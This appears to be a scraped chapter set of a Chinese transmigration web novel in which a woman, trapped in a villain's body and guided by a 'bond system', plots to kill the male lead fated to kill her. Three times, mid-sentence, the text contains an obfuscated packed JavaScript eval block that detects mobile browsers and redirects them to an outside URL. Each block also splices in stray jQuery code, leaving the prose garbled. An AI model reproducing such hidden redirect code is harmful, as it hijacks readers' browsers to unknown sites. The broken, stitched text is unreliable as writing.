《炮灰师姐死遁攻略》 1. 第一章 其名长生 云雾缭绕的山峰顶端，红衣女子正在闭目修炼，忽地眉头紧皱，嘴角渗出黑血，脸色瞬间苍白，眉宇间随即浮现不甘的怨恨之气。 “来人！” 强压下喉间腥甜，女子厉声道：“让宣凌见我！” 门外的两名弟子听得她语气急切，不敢多问，忙应声称是，召唤飞剑闪身离去。 房内的女子却没能支撑太久，摇摇晃晃地侧身倒下，阖上双目。 片刻之后，常栩睁开眼睛，猛地坐起。随即，残存在这张脸上的阴郁急剧褪去，转变为疑惑与好奇。 她环顾四周，发现自己所在的房间典雅精致，雾气在脚下缓缓流动，清风穿过敞开的窗口，带来远处空灵的鹤鸣，仿若置身仙境。 一瞬间，常栩以为自己因为熬夜过多精神失常了。 深吸几口气，她冷静地低下头，仔细打量这副身体：一袭红裙、侬纤得宜，美得赏心悦目。 就是怎么看都不像是自己。 常栩满腹狐疑地起身，正要出门，心口忽地传来一阵莫名的刺痛。她瞬间失去力量，手脚僵直地倒在地上。 还未等她缓过来，“哐”的一声，面前的房门由外推开，伴随着一声惊呼。 “师姐！” “……” 常栩觉得丢人，索性闭上眼睛装晕。 嫩黄衣裙的少女“扑通”跪在地上，带着哭腔：“你怎么了师姐！不要吓我啊！” 转头对门外的弟子骂道：“你这个没用的家伙，是怎么照顾师姐的？若是师姐有个三长两短，我要你好看！” 那弟子也没想到会这样，汗流浃背、诚惶诚恐地解释：“陆师姐，这、方才还好好的……师姐还让我们传唤宣师弟来着……” “胡说！师姐向来与我最亲近，怎会想见那小子！” “冤枉啊！常师姐这几日经常同宣师弟一起修炼，你不知道吗？” 这两人你一句我一句，听得常栩晕头转向，心想能不能先把我扶起来啊，地上凉。 不对，这到底是什么地方？ 常栩心里有一种不好的预感。 她慢悠悠地睁开眼睛，用微弱的声音询问道：“你们在……说什么？” 少女惊喜道：“师姐！您没事吗？我是陆小满啊师姐！” 另一个男子小心地说：“大、大师姐，宣凌师弟正在卷云峰下参加试炼，可能要迟些才能到……” 强撑一口气的常栩听到这几个名字，猛地咳嗽几声，实实在在地晕了过去。 一片黑暗之中，平地惊雷般，常栩的耳边响起机械的声音。 【叮！连接成功！欢迎您使用羁绊系统。宿主您好！感谢您的信赖和支持，本系统将竭诚为您服务。】 【羁绊系统秉持圆梦理念，带您体验美好的穿越生活。在这里，您可以亲自扮演书中角色，与喜欢的小说人物来一场宿命的纠葛！】 【根据评估，‘宣凌’是您最喜欢的小说角色。因此，本系统选择他为您的攻略对象。】 常栩深吸一口气。 大千世界无奇不有，穿越在这个时代已经是烂大街之事，因此她并未大惊小怪。 她只有一个问题：“所以，我为什么会成为许长生？” 此书名为《诛天》，平平无奇的修真文，讲述出身农家的男主韩尚同因被魔族屠戮满门，发誓报仇，拜入名为“苍华”的门派。 宣凌，正是书中男二。 这位苍华派的小师弟，表面上温顺纯良，总是被师姐许长生压榨、欺辱。实际上是蛰伏人界的魔尊之子，装得人畜无害，背地里杀人不眨眼，妥妥的黑莲花。 作者用了不少笔墨，在描述宣凌的两面三刀、睚眦必报的同时，又写他不自觉爱上女主，偶尔流露出的痴情和可怜。 然而，就在宣凌决定改邪归正之时，喜欢男主的许长生因为争风吃醋，竟然害死了女主，导致宣凌当场黑化。 为了寻找复活之法，他不惜掀起人魔混战，制造了无数的生灵涂炭。 不久之后，修真界几十家门派共同讨伐宣凌，男主被“大义”所裹挟，亲手将曾经最疼爱的师弟封印于无尽深渊。 纵观《诛天》这本小说，宣凌此生最恨之人，许长生排第二，无人敢称第一。 苍华派大师姐许长生，本书头号反派女配。 对于宣凌而言，前有长年累月的欺压侮辱，后有杀女主之仇，他黑化后第一个便是将许长生千刀万剐！ 系统表示：【许长生是《诛天》中与宣凌羁绊最深之人。】 常栩：“……” 【多年未见，宣凌的脸上仍还带着笑意，却无端让人发憷。许长生试图拿出师姐的架子来，然而刚要开口，手脚顷刻间便被凌冽的魔气削去，破碎成一片黑红的血雾。】 【水牢内，许长生的身体反复再生，又不断被蛇虫鼠蚁啃食殆尽。魔族们偶尔能够听到她的呓语，似乎在乞求谁的原谅。然而宣凌一次都没有来，只吩咐让她生不如死。于是，这位曾经意气风发的苍华派大师姐，终于成了一个不成人形的疯子。】 ——节选自《诛天》。 常栩：“你看着这些文字，再说一遍，这算哪门子羁绊？你说的羁绊和我理解的是一个意思吗？” 系统摆出事实：【宣凌可是直到死前都在念着您的名字。】 常栩：“因为这小子遗憾没能将我……不对，是将许长生挫骨扬灰啊！” 系统不解：【这不就是你们所说的相爱相杀cp吗？】 “你这系统磕的还挺杂……但你是不是对相爱相杀也有什么误解？纯度百分百的杀里面不含一丝爱是吗？” 系统理所当然道：【这正显得你们之间的关系纯粹！】 常栩：“……” 她现在说自己喜欢韩尚同还来得及吗？ 不给她后悔的时间，系统继续道：【即将开启本次羁绊之旅，是否进入下一步？请回答。】 常栩诚恳地问：“要是我不答应，你能将我送回去吗？我论文还没写完呢。” 系统戳破了她的妄想：【宿主须知，您原来的身体已失去生命体征，目前由本系统代为保管。】 周遭景色瞬变，常栩看到自己的身体正躺在一处纯白的空间。 “原来我死了……”常栩有些恍惚，“既然如此，我做你这任务又有什么用？左右都是一死？” 系统循循善诱：【虽然不能送您回去，但只要您完成任务，系统将复活您原本的身体。届时，您仍然能够继续活在这个世界。这对您来说，应是非常划算的交易。】 常栩当然还想活着。 可她总觉得这事儿没这么简单：“先说清楚，你要我做什么？” 【宿主需要根据系统给出的剧情节点，完成‘许长生’在书中的使命。一旦任务全部结束，系统会帮助您脱离‘许长生’的身体。】 常栩明白了，就是让她扮演许长生走剧情，还不能出差错。 她感受到深深的不安：“这么说，若是我完不成任务，就要一直当常栩，还随时有可能被宣凌杀死？” 系统：【理论上是这样的。】 常栩：“……这命可真不好挣啊。” 还没等她讨价还价，白光一闪，再次睁开眼睛，已经回到了初次醒来的那个仙气飘飘的房间。 【下一剧情节点为：指派宣凌独自下山前往金蝶山庄。请宿主在今日申时之前完成，过期自动失败。】 * 见常栩终于醒来，黄衣少女欢喜道：“师姐，你感觉怎么样了？” 陆小满，许长生的头号狗腿子，忠实的“大师姐” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362891|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中心主义者。 连许长生都被男主光环迷惑之时，小满姑娘仍然不为男色所动，一条路走到黑，最后被复仇的宣凌一刀砍了…… 现在想这个还为时过早。常栩收回目光，问道：“宣凌在哪儿？” 陆小满眉头一皱：“师姐，你怎么对那野小子这般上心？师姐身上旧伤未愈，让小满照顾您休养可好？” 常栩摇了摇头，擦掉嘴角的血痕，强行走下床，不容置疑道：“既然他不过来，我就去找他。” 她一向说一不二，陆小满也不敢忤逆，只得咬牙跟上：“师姐走慢些，我这就陪您下山！” 此地与卷云峰相隔遥远，陆小满不想让师姐耗费灵力，便自告奋勇带她下山。 常栩强装镇定，默默学习众人的手法，心念一动，感受到了体内沛然力量，甚是奇妙。 系统发出警告：【许长生并不会帮助凌。还请宿主按照剧情来，切勿崩人设。】 常栩只当没听到，认真观察脚下，很快看到群山之中一处宽敞的广场，百十来人聚在一起，似乎在切磋功法。 陆小满道：“可恶，莫震宇又在欺负宣凌了！” 顺着她的目光，常栩注意到卷云台正中的两个人影，略显瘦弱的青衫少年手无寸铁，正被对手踩在脚下。 多数弟子都席地而坐，饶有兴致地看着场中央的几个人。有人喊道：“莫师兄，可不能输给小师弟啊！” “宣师弟，你也拿出本事来！师姐那么疼你，想必一定有什么过人之处吧？哈哈哈！” 说话间，常栩等人已经悄无声息地落到地上。 坐在外围的弟子们注意到身后人影，登时大惊失色，忙不迭站起身来。 人群之中，莫震宇抡起一拳打在宣凌胸口，顺势将对方踹到在地，得意洋洋道：“宣师弟，你这副身体如此弱不禁风，是怎么成为掌门的关门弟子的？” 宣凌缓缓爬起来，认真答道：“宣凌只是得了许师姐的青睐，不敢高攀掌门。” 殊不知这话让莫震宇更加恼怒，又要再打过去，被陆小满出声制止：“够了！莫震宇，你身为师兄，竟然私下组织斗殴，成何体统！” 莫震宇错愕回头，才发现众人不知何时已经退到两侧，许长生正面无表情地看着他和宣凌。 “师、师姐……您怎么……”莫震宇的动作僵住了。 许长生虽然时常刁难宣凌，却也不喜欢他人自作主张，何况是这种明令禁止的私斗行为。 一时间，众人都有些不知所措。 寂静之中，宣凌已经捡起地上的剑，默默走到常栩面前。 如同小说中描述那般，现在的他二十岁左右，面容秀气。身上一身伤痕，显然受了不少欺负，却始终不卑不亢，低垂着眉眼，一副乖巧模样。 不过，作为将《诛天》从头看到尾的读者，常栩知道，这只不过是宣凌伪装的表象，实际上睚眦必报、十分记仇，指不定怎么报复呢！ 这么想着，她总觉得这小子看自己的目光有些冷。 常栩忍不住咳了一声，故作镇静地对宣凌道：“你跟我过来。” 宣凌对这位师姐的出现十分意外，但并没有多问，一如既往地听话。 “是，师姐。” 莫震宇看着二人离去的身影，有些摸不着头脑，拉住陆小满打听情况。 余下的弟子们神色各异，小声道：“师姐又要去禁地吗？” “那地方满是魔气、危险万分，宣师弟每次回来都会没半条命。唉，不知他是怎么惹到师姐了……” “这次肯定更惨，韩师兄不在，我们可说不上什么话。” 路上，系统再次提醒：【请宿主勿要帮助宣凌，您这样做可能影响剧情。】 常栩沉思片刻，认真问道：“那我能杀他吗？” 2. 第二章 披上马甲 常栩认真地说：“我思来想去，做任务太不划算，还不如直接杀了宣凌。你觉得怎么样？” 系统险些没反应过来：【……建议您不要招惹他。】 常栩眼睛一亮：【那就是可行了？我准备现在就杀掉他！】 系统：…… 有生以来，系统第一次卡死。 根据它的经验，以往的宿主无不对目标怀揣着深深的喜爱，基本上都会欣然接受任务。即便中途失败，也多是因不忍目标受伤而主动放弃。 至今为止，还从未有宿主要杀任务目标！ 系统的心头产生一丝怀疑—— 这位宿主真的喜欢宣凌吗？难不成是传说中的粉到深处自然黑？ 常栩当然对宣凌有好感，但她深知，纸片人再好也没有命值钱，何况还是一个恨她入骨的纸片人！ 《诛天》的故事中，男主韩尚同在加入苍华派之后修为突进，很快威胁到许长生的地位。 许长生身为苍华派大师姐，一向自视甚高，难以接受有人强过自己，不由得心浮气躁。 一次任务中，许长生不小心被魔族重创，因此遇到了同样重伤、因魔族内乱而逃到人界的宣凌。 在合力消灭魔族追兵的过程中，许长生意外发觉宣凌的灵气有助于疗伤，便将他带回苍华派，让掌门收为关门弟子。 通过压榨宣凌，许长生的伤势逐渐好转。宣凌则为了活命装得一脸单纯，对这个利用自己的无耻师姐十分痛恨，早早决定在将来某一天杀掉她。 以上，就是迄今为止的剧情进度。 面对这种情况，常栩悲观地想，万一哪天宣凌看她不顺眼提前动手，不就完蛋了吗！ * 意识交流间，常栩已经和宣凌一起来到了众人口中的禁地——鸣鹤谷。 苍华派位于不息山上，绵延数千里，蕴藏修真界有名的阴性灵脉。 却也正因如此，山中一处隐秘之地竟然滋养了魔物，在二十年前的人魔大战中给苍华派重创。 自那之后，掌门谢千景便将鸣鹤谷列为禁地，门中弟子修为低下者不得擅入，违者按门规处置。 可谁让许长生是掌门最宠爱的大弟子呢？ 这些年来，她仗着师姐的身份作威作福，动辄欺负师弟师妹，掌门却始终睁一只眼闭一只眼，最多口头上责罚几句，实质上的惩罚几乎没有。 弟子们私下里议论，别说只是区区擅闯禁地，就是许长生想要掌门之位，只怕都会拱手相让。 总之，没有任何人对许长生带宣凌入禁地的行为有意见。 鸣鹤谷内幽深寂静，常栩听得耳边清泉潺潺、鸟鸣山涧，能够明显感受到充裕的灵气浮动在身周，透着清亮的绿色。 按照《诛天》的设定，灵根分五行，五行隔阴阳。不息山中的阴性灵脉以阴水、阴木、阴土为最盛，此三类灵根者于此修炼，可一日千里、受益无穷。 这就是许长生来鸣鹤谷的目的。宣凌的阴水灵根能在此地发挥最大效用，助她疗伤。 至于疗伤的方式…… 常栩停下脚步，转身看向宣凌。 身后的宣凌满身伤痕，乖巧地站在一旁，不待吩咐便自觉划开手腕，任由汩汩鲜血向上飞散，形成一股涌动的墨色雾气。 只一瞬间，常栩心口的刺痛骤然淡去，喉间淤血也消弭于无形，效果立竿见影。 她的神色有些复杂。 不仅因为画面过于血腥，还因为她想起，之所以宣凌能帮许长生疗伤，其实并非出自阴水灵根，而是魔族血液之效。 小说中的许长生自己都不知道，她的根骨世所罕见，乃是与魔族渊源甚深的奉月族。 这种体质帮助许长生利用分身之术杀掉岳婉吟，也让她在惨死之后成为岳婉吟复生的寄体，可谓是实至名归的工具人。 “咳……师姐，您感觉如何？” 似乎是感受到常栩的目光，原本紧闭双眼的宣凌轻咳一声。 常栩正沉浸在自己被扒皮抽骨的结局之中，冷不丁被凶手这么一叫，起了一身寒意。 好在她还算有定力，淡淡地说：“无碍。” 宣凌的脸失血而煞白，一双眼睛漆黑的眼睛格外明亮，温声道：“今日多谢师姐相助，宣凌铭感五内，定然尽心报答师姐。” 常栩：“……” 这听起来可不像什么好话。 她对宣凌的性子一清二楚，别看表面装得如此真诚，其实是将受欺负的账加倍记在了自己头上，日后定然一一讨回。 常栩可不想等到那一天。 现在正是宣凌最为虚弱的时候，还不趁他病要他命，更待何时？ 她决定先下手为强。 心念一动，常栩正要运用灵力，忽地，腹部的伤处传来一阵电流般的疼痛！ 好不容易聚拢的灵力猛地散开，在草木之间掀起一阵涟漪，震荡在鸣鹤谷的上方。 “师姐，您怎么了？” 宣凌故作关切，懵懂地看着常栩，右手却不自然的藏在身后。 系统警告：【请注意，宣凌即将察觉宿主的杀意。若是此时决裂，任务即宣告失败。】 常栩体内灵气大乱，犹豫间又吐了一口血，只好装作无事发生，让宣凌继续帮自己疗伤。 同时，她急切地问系统：“怎么回事！” 明明她的修为更高才对！ 系统：【许长生与宣凌之间曾经订立契约，在治疗结束之前，若有一方对另一方产生杀意，就会即刻受到反噬。而且，如果没有宣凌的帮助，宿主的伤永远也好不了。】 难怪这两个人能够相安无事那么长时间…… 常栩发现自己还是小看《诛天》的逻辑了，竟然还有这么严谨的地方！ 不过，她并不打算放弃，心想那我就等伤好了再杀他。 系统冷冷道：【许长生也是这么想的，宿主不还是要走剧情吗？】 常栩：……也是啊。 契约的影响很快消失。一个时辰后，常栩看着日头西移动，算计着时间，对宣凌说：“今天就到这里吧。” “是。” 宣凌收回术法，脸色已然一片苍白，不见半点血色。 纵然谷内灵力充沛，失血对他而言也非毫无损伤，至少看上去已经没了半条命。 常栩有些心疼，下意识道：“先别回去了，在这里——” 她原本想让宣凌在鸣鹤谷继续调养，话到嘴边才想起还有任务要做。 于是拐了个弯，用吩咐的语气：“在这里待着也没用，不如下山去将金蝶山庄的案子调查清楚，也算你对门派做了贡献。” 真不是人啊！ 常栩对自己这种卸磨杀驴的行为表示唾弃。 金蝶山庄是苍华治下的一处医药世家，前些天派人传信说庄内发生争端，请求苍华调停解决。 这事不算危险，但其中的人情纠葛十分复杂，是以一直没有弟子愿意去。 宣凌知道师姐这是在为难自己，也不多问，乖巧地点头答应：“宣凌遵命。” * 常栩刚回到自己的昀秀峰，未时将过，系统准时传来提示。 【叮！宣凌已成功前往金蝶山庄，恭喜宿主完成任务！系统奖励发布中，您获得30点羁绊值——】 【解锁“修为”模块。宿主所修秘籍为“灼华令”。可兑换相应功法。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362892|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【解锁“功体”模块。宿主是阴性火灵根和奉月族。可通过兑换短暂提升功体，让您的实力大为提升！】 一连串的通报震得常栩脑袋疼，她问：“羁绊值是什么？” 系统雀跃道：【此为羁绊系统的特色！本系统的宗旨是圆梦，羁绊悉数越高，代表宿主与目标人物的关系越深厚。达到一定星级，还可以解锁专属福利哦！】 常栩一点也高兴不起来。 面对这种把仇敌判定成羁绊关系的破系统，她很是怀疑：“怕不是宣凌对我的仇恨值吧？” 【嗯……这个主要是因为……】 系统不知道该怎么解释：【总之，宿主可用羁绊值兑换功法、秘籍、钱财等道具，帮助您更好地体会这个世界。】 常栩还在思考杀宣凌的事，忽地灵光一闪，心里有了新的主意。 “等一下……我记得小说中的许长生是能分身的对吧？” 系统：【确实如此。不过，这项功法需要您准备合适的身体。】 “什么样的身体？” 【其一是用灵药制作，需要您以天材地宝炼制，较为麻烦。其二是杀人夺身，驱散对方的魂魄，使她的身体为您所用。】 常栩点了点头：“好，就这个了。” 这具身体杀不了宣凌，我用别的身体不就好了！ 系统有些意外：【您确定吗？若是您找不到合适的身体，这项功法将会失效。】 常栩：“用不着，我不是有现成的吗？” 系统：【……】 常栩：“你不是说，我的身体保管在你那里吗？不用等到任务结束了，现在就给我吧。” 系统沉默一会儿：【宿主请求提前取出身体。】 【警告！如果身体出现意外，任务完成后您将无法脱离宿体，是否继续？】 “继续。” 两秒之后，白光闪过，常栩看到自己原来的身体从空中缓缓落下，身上还穿着睡衣。 她忍不住伸出手。触碰到身体的同时，手腕内侧浮现出一道金色花纹，转瞬即逝。 无师自通般，常栩感觉自己领悟到了这具身体的奇异之处，不由得十分惊奇。 * 金蝶山庄十里之外的崎岖山路上，夜色幽暗，一片肃穆。 突然，血色的冰刃凝结成幕，自半空中迅疾砸下。 “啊啊啊——” 惨烈的哀嚎响彻云霄，惊散了树梢上成群的乌鹊。 直到惨叫声停止，冰刃都未曾停下，一下又一下，砸在遍地尸骸血肉之上，模糊了原本的人形。 暗红的魔气随之愈加浓郁，融入了血色。 宣凌站在山匪的尸体中，抬手抹去脸上的血迹。 他的面色极冷，白日里的纯真早已烟消云散，只剩深入骨髓的恨与怒，秀气的脸上满是渗人杀意。 也许是杀得兴起，宣凌的魔气失了节制，一不小心回冲丹田，惹动了尚未恢复的旧伤。 深吸一口气，他终于停下了无意义的鞭尸行为。 就在宣凌坐下调息之际，金蝶山庄的方向燃起冲天火光，点亮了沉寂的夜幕。 与此同时，一个瘦弱的女子跑了过来。 她无视浑身血腥的宣凌，踉跄着跪到地上，用力捶打山匪的尸体，哭喊着说：“你们这些恶人！是你们害了我们家小姐和夫人！” 而后，这个女子泪眼汪汪地看向宣凌。 “我、我是金蝶山庄的丫鬟，多谢恩公杀掉这群恶人，为我们家小姐复仇！您真是大好人！” 见宣凌一言不发，女子吸了吸鼻子，试探性地问。 “恩公，您好像受伤了，需要小女子帮忙吗？” 3. 第三章 不速之客 冲天的火光映衬下，宣凌的面容忽明忽暗。 他双目紧闭，正在重新聚拢体内魔气，对这突然出现的女子只觉厌烦，冷冷道：“好人？我可不是什么好人，不想死的话就赶紧滚。” 常栩却认真地摇了摇头，泪光盈盈道：“公子杀了这群恶人，一定是好人！请您一定不要赶我走，让我帮您可好？” 这样说着，她缓缓走到宣凌身前。 感知到女子的动作，宣凌脸上不耐更甚，隐隐显出杀气：“少废话。若再多言，小心我——” 常栩从怀中拿出一块手帕，轻轻拂去宣凌脸上的血迹。 宣凌猛地睁开眼睛。 四目相对之际，他看到女子清透的双眸，宛如水下明镜，映出他被血色沾染的脸。 “恩公？”常栩声音轻柔，小心道，“您怎么样了？” 短暂的恍惚过后，宣凌注意到常栩的手帕上绣着金色的蝴蝶，手上动作一顿，后知后觉地问：“你是金蝶山庄的人？” “已经没有金蝶山庄了……” 似是想起什么可怕的事情，常栩浑身颤抖着，眼泪簌簌而下：“就在半个时辰前，金蝶山庄上下二百余口全部被杀，只剩下我一个丫鬟拼死逃出……” 宣凌眉头微皱，不明白这女子为何又哭了，但还是耐着性子听她继续讲。 常栩指着身后那一堆血肉模糊的尸体，真情实感道：“就是那群土匪！他们禽兽不如，抢了灵药不说，连小孩子都不放过！可恨我一介弱女子无法报仇，还好遇到了恩公。” 宣凌则感到意外。 他此番下山就是为去金蝶山庄，方才遇有土匪拦路挑衅，只不过随手杀了解气，没想到会与金蝶山庄扯上关系。 若真如此，眼前这女子便不能杀，还需带回门派复命。 常栩擦了擦眼角，满怀感激地对宣凌说：“恩公是苍华派的人对不对？你是神仙派来为我们报仇的吗？” 宣凌的神色缓和了些，不咸不淡地点头：“没错。既是金蝶山庄的丫鬟，那就留下吧，稍后随我回不息山。” 常栩听话地点头：“好！我都听恩公的！” 她分外乖巧地坐到宣凌身后。 宣凌也没太在意，他再次闭上眼睛，尝试封住最后一部分魔气。 树林之中渐渐安静下来，只剩下流转的靛蓝色灵力。 常栩微笑着凝望宣凌清瘦的背影，从袖中拿出匕首。 没有任何犹豫，她高高举起手臂，以迅雷不及掩耳之势，手起刀落—— “当啷”一声，刀掉在地上。 宣凌稳稳地坐在原地，身上不见任何伤痕。 反倒是常栩震伤了虎口，还被不知名的力量震出去好几米远，重重地撞到树干。 “……” 常栩顾不上爬起来，震惊地在脑中质问系统：“怎么还不行！” 系统：【哦，宿主有所不知，修为与身体绑定，因此您现在没有任何修为，只是个凡人呢。】 常栩：“……你不早说！” 系统：【呵呵，本系统向来以宿主为本，从不干涉宿主决定。】 常栩：“……” 这系统一定是在故意坑她！ 宣凌察觉到异样，侧过身子，半睁着眼睛问：“又怎么了？” 常栩回过神来，赶紧捡起地上的匕首藏进袖子，慌乱之中划伤了手臂，疼得她鼻子一酸，眼泪控制不住地往下掉。 她张口就来：“恩公……这里好多死人，我、我害怕……” 宣凌还没见过这般柔弱又胆小的女子，有些不耐烦，但还是安慰道：“不用怕。有我在此，无人能伤你。” 常栩佯装破涕为笑，口中说着“多谢恩公”，心里庆幸这小子还挺好骗。 半个时辰后，宣凌再次睁开双眸，盯着常栩，眉宇间隐隐透出一丝烦躁。 常栩正在思考下一步的行动，被他看得心虚，小心问道：“恩公，您有什么烦忧吗？” 宣凌起身而立，问：“你说你是金蝶山庄的人，可知附近哪里有疗伤的灵药？” 常栩猜测他这是为了压制体内的魔气，心中一动。 她正愁找不到机会，当即提议：“不如去永川镇？金蝶山庄与镇上一家出云医馆素有往来，想必有恩公所需的药材。” 宣凌微微颔首：“那你先去苍华派等我。” 常栩心想，我回苍华作甚？与自己左右互搏吗？ 她连忙拉住窜了的袖子，面上一片诚挚：“恩公去哪里，我就去哪里！” 宣凌有些意外。 未再多言，他伸手握住常栩的手腕，运起灵力，身形一闪，便带着她腾空而起，直奔永川镇而去。 * 永川镇乃是苍华派山脚下第一大城镇，灵气氤氲，修仙之人往来如织，繁华热闹， 金蝶山庄被灭的消息尚未传开，华灯初上，出云医馆周围一切如常。 行至医馆门外，常栩迟疑片刻，拉住宣凌的衣袖，小声求他别暴露自己身份。 宣凌挑眉：“为何？” 常栩心有余悸地说：“恩公，我怕那群土匪的背后另有主谋，若暴露身份，恐引来不必要的麻烦。” 宣凌略一思索，点头应下。 医馆内，八字胡的店主正敲着伏在柜台前，算盘珠子噼啪作响，听见铃铛声响才抬头，招呼的话还未出口，眼睛顿时瞪大。 “客人，您这是怎么了！” 只因宣凌的身上沾染着大片黑红血迹，看上去十分醒目。 旁边的常栩怕他误会，贴心解释道：“您不用担心，这都是别人的血。” “哦，那还好——嗯？” 店主捋胡子的手颤了两下，不动声色地退回原位，吩咐伙计说：“你先带客人去后堂休息。” 常栩没有跟过去，只是默默站在一旁。 待到宣凌离开，她看店主拿出颜色形状各异的草药，冷不丁地问：“这些药材，可都是真品？” 店主闻言，扬起眉毛，自夸道：“姑娘放心，我这店里的药材，皆是金蝶山庄所出。金蝶山庄的名头，想必姑娘也听过吧？那可是修真界鼎鼎大名的存在！我还与庄主交情匪浅，就连那传说中的肉云芝，我都曾亲眼见过！” “哦？”常栩似乎不信，状似随意地说，“那我要月灵参，你这里可有？” 店主一愣，随即笑道：“原来姑娘也是行家，这是在试探小老儿？也罢，这东西寻常人我可不卖，既然姑娘识货，今日便破例卖你一份！” 常栩笑意盈盈。 月灵参确实是好东西。小说中曾提及，此物乃是常栩从金蝶山庄所得。几年之后的道清大会上，宣凌之所以暴露魔族身份，就是因为它。 常栩此番前来只是碰碰运气，没想到竟然真的能得到。 她心中得意，暗自问道：“系统，怎么样？宣凌总不会百毒不侵吧？” 系统沉默不语，似乎已经懒得回应她了。 后堂内，宣凌盘膝而坐，试图调息压制魔气，却始终无法静心。 想起那鸣鹤谷中的许长生，他猛地一挥手，茶杯应声而碎，碎片四溅，满地狼藉。 门外的常栩听到动静，轻咳一声，推门而入。 她无视地上的茶杯碎片，将熬好的药端到宣凌面前，柔声道：“恩公，店主说这药需趁热服用，常栩已为您熬好，请恩公快些喝了吧。” 少女的眼中满是赤城和关心。 宣凌顾念着伤势，并未产生怀疑，一言不发地接过药碗，在常栩的注视下将药一饮而尽。 常栩步履轻快地走出房间，并没有离开院子，而是坐到附近的凉亭中，掰着手指等待药效发作的时机。 这月灵参是修真界有名的大补灵药，很少有人知道，它其实对魔气有极强的压制作用，能让宣凌短时间内功力大减。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362893|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常栩握紧袖中的匕首，正欲起身试探，忽听得不远处传来一阵喧哗之声。 * 此时，出云医馆的正堂一片混乱。 店主挥舞着长棍，大声怒斥：“你们这群强盗！大庭广众之下，竟敢如此猖狂！” 他身旁的地上，伙计蜷缩身体痛苦哀嚎，腹部鲜血直流，显然已受了重伤。 对面，一群古怪的黑袍人手持锁链，浑身散发着浓重的血腥气，宛如索命的恶鬼。 为首的红衣男子慵懒地坐在椅子上，翘着二郎腿，略带遗憾地说：“我分明是好心来与你商量，你非但不领情，还让手下拿东西来砸我。大家评评理，究竟谁是强盗啊？” 店主怒目圆睁，厉声道：“肉云芝乃是金蝶山庄的至宝，别说我这里没有。就算有，也绝不会给你！” 红衣男子头一歪：“哦，这么坚持？真的不能好商好量吗？我可是很有诚心的。你看，我身后这群人才是真正的恶人，我可是费了好大劲才劝住他们不动手的。你若再不识相……” 这番动静引来了行人驻足围观，有路见不平的想上前帮忙，却被旁人拉住，低声道：“莫要多管闲事，那可是齐洋！我们惹不起，快走！” “剪命人齐洋？他怎么会出现在这里？这群人无恶不作，店主怎会惹上他？” “你还不知道呢？金蝶山庄出事了，恐怕是因为怀璧其罪，得罪了什么大人物……” 齐洋掏了掏耳朵，不满地说：“真是吵啊，你们这些人，会不会尊重人啊？我还在这儿呢，就敢当着我的面议论我？我很不开心。” 话音刚落，一名黑袍人手中锁链猛然甩出，寒光一闪，鲜血喷溅。 方才还在说话的那人脑袋便滚落在地，“咕噜”在地上滚着，停在门口。 刚刚赶过来的常栩：“……” 看着眼前这血腥一幕，在恐惧的尖叫与谩骂声中，她问系统：“这是什么情况？” 剪命人齐洋，原著中灭亡金蝶山庄的罪魁祸首。按照剧情，他应该会被调查此事的韩尚同与宣凌合力斩杀。 所以，他怎么会出现在这里？ 系统：【由于宿主擅自带宣凌来永川镇，剧情已出现偏离。】 【对了，这就是下一个剧情点：推动宣凌初遇岳婉吟。请宿主尽快完成任务。】 常栩：“……” 怔忡间，齐洋突然闪身来到常栩面前，那张邪气的脸上满是笑意。 “真不是一般的姑娘，见了这般残忍的场面竟未尖叫，倒是比外面那群废物强多了。我叫齐洋，不知姑娘可否赏脸，与我交个朋友？” 常栩一边盘算着如何抽身，一边问道：“不知店主哪里得罪了公子？” “还不是因为他们对我不友好，我也很无奈啊。”齐洋微笑道，“姑娘还没回答我的问题呢，难不成是看不起我？” “公子说笑了。只是我身份低微，不配与公子……” 齐洋的笑意淡了下去，语气阴冷：“原来姑娘也看不起我。既然如此，那便不必多言了。” 常栩心知这家伙喜怒无常，暗道不妙。正欲抽身离去，却见黑袍人缓缓向她走来，手中锁链已扬起—— 千钧一发之际，一道玄色身影从常栩身侧掠过，手持长剑，挡在她的面前。 同时，冰寒的剑气将一众黑袍人逼得后退几步。 唯有齐洋负手而立，森然道：“哪里来的小子，竟敢坏我的事？” 宣凌的脸上没什么表情：“她是我的人。你要杀她，要先问过我。” 常栩没想到宣凌能出现，惊讶之余，又疑惑月灵参怎么没有发挥作用？ 难道这家医馆卖的是假冒伪劣产品？ 正想着，宣凌忽地浑身一颤，嘴角毫无征兆地渗出黑血，脸色也随之苍白。 宣凌：“？” 他捂住胸口，皱起眉头。 常栩：“……” 完了 4. 第四章 挑衅 宣凌体内的魔气迅速消弭，尚未平衡的灵力陡然失去控制，剧烈冲击内府，带来一阵钻心之痛。 